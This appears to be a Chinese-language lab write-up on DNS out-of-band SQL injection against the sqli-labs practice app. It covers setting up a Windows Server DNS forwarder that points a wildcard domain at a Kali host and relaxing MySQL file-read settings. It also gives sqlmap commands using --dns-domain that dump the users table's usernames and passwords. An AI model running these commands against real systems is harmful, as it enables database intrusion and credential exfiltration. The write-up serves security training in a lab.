实验所用环境:
DNS服务器虚拟机系统:Windows Server 2008R2
Kali版本: 2022.2
Windows系统虚拟机:Windows 11+apache+mysql+php
首先要进行这次实验,我们电脑和虚拟机要带有sqlmap工具。
Windows系统
windows系统使用sqlmap工具官网下载即可,将下载包解压使用命令提示符打开【快捷键:window+R】。到达相应路径使用python语言打开即可。
虚拟机
虚拟机自带sqlmap工具。只需要直接在命令行中输入sqlmap就可以了。
如果版本低了可以输入sqlmap -update
更新版本
如果输入sqlmap -update
没有反应可以尝试参考博客:kali自带的sqlmap更新
在本次实验要使用mysql的读文件函数load_file,为此Load_file函数读mysql 的文件,但是要生效得 secure_file_priv不能是null才可以使用。
原因: 为null就既不能读文件也不能写文件是mysql的安全配置。 要改必须去配置文件修改,因为这里是只读的权限
添加 :
secure_file_priv=“”
local_infile=1
重启mysql服务
kali准备工作这里不写sqlmap更新。因为博主已经更新到目前最新的了
因为前面已经说了这个只有读权限,为此要修改要去配置文件my.cnf
。
文件内添加内容:
查看是否修改了状态
成功启动并且版本为1.6.7
服务器角色
创建服务器为DNS服务器
DNS服务器选择完就可以一直下一步了。
建立一个主要区域
勾选主要区域
区域名称【输入你想的就可以】
后面一直无脑下一步就创建就成功了
进入WIN-5SSIPA6V1CH属性修改
在高级中查看递归十分禁用,因为我们要使用递归获取数据。【不要勾选禁用递归】
在监视中将两个测试类型勾选。
监视与高级的操作都是保证我们能正常使用递归查询
目的:sqlmap
ip地即被解析,由NS服务器解析。即这台服务器,如此这ip地址填写sqlmap地址。
sqlmap地址为kali地址:192.168.171.152
添加IP地址
完成后再创建一个泛解析
最后即两个都解析到了kali上
tcpdump -n port 53
这能收到因为我们设置的*泛解析,为此对所有的8r2.top的域名都会到192.168.171.153主机解析
DNS域是转发器的,所有你可以随便输入,
IP地址则是触发条件转发器的转发对象,即kali
对win11的靶机进行注入,win11的ip地址为:192.168.171.131
在win11上使用phpstudy集成环境搭建WAMP。
目标网站
在win11中修改了文件my.ini的secure_file_priv为非NULL
重启mysql服务,重新读取my.ini
sqlmap -u "192.168.171.131/sqli-labs-master/Less-8/?id=1" --technique=T --dns-domain "alxy.top" --dbs
-dbs (获取数据库的所有库)
–dns-domain的参数要设置为条件转发器中的域名
sqllabs的库名是security
sqlmap -u "192.168.171.131/sqli-labs-master/Less-8/?id=1" --technique=T --dns-domain "alxy.top" -D security --tables
–dns-domain的参数要设置为条件转发器中的域名
sqllabs的库名是security
sqlmap -u "192.168.171.131/sqli-labs-master/Less-8/?id=1" --technique=T --dns-domain "alxy.top" -D security -t users --columns
qlmap -u "192.168.171.131/sqli-labs-master/Less-8/?id=1" --technique=T --dns-domain "alxy.top" -D security -T users -C username,password --dump
dnslog外带数据注入,相比较于布尔盲注和时间盲注的耗时量来看要快上许多。
即dnslog外带数据能快速完成了sql注入,取得了security.users中的数据
Kail ,靶机与DNS间传输
1、kali的IP与DNS 一直没有改变
2、DNS配置的IP地址 的DNS与kali 保持一致
3、靶机实际上:解析本地hosts -------本地没有—》DNS解析。
4、访问过程
靶机【win11】 本地无法解析
=》DNS 【因为DNS配置A记录指向了kali】
=》 传输信息给到kali 【kali中的sqlmap将受到的信息进行解析】=》sqlmap解析的数据将其显示,显示的内容放入kali的log,每次解析都会覆盖一次这个log
如此:
靶机 解析8r2.top 到DNS 。DNS的A记录【泛解析:*】中指向kali。
如此kali中sqlmap解析了数据而kali把内容存入日志了。 然后通过–doman [ip,条件解析地址]
在条件转发器下通过DNS获取消息。即触发条件解析地址数据指向Kali的地址。